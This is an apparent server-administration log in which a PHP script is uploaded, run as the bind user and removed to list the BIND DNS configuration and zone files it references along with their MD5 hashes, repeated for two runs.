MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:41:28: Establishing a connection
2026-04-23 14:41:28: 

PUT: /tmp/pkp612070

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:41:28: 

runuser -l bind -s /bin/bash -c '/tmp/pkp612070; rm /tmp/pkp612070'

2026-04-23 14:41:28: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:42:15: Establishing a connection
2026-04-23 14:42:15: 

PUT: /tmp/pkp447968

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:42:15: 

runuser -l bind -s /bin/bash -c '/tmp/pkp447968; rm /tmp/pkp447968'

2026-04-23 14:42:15: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
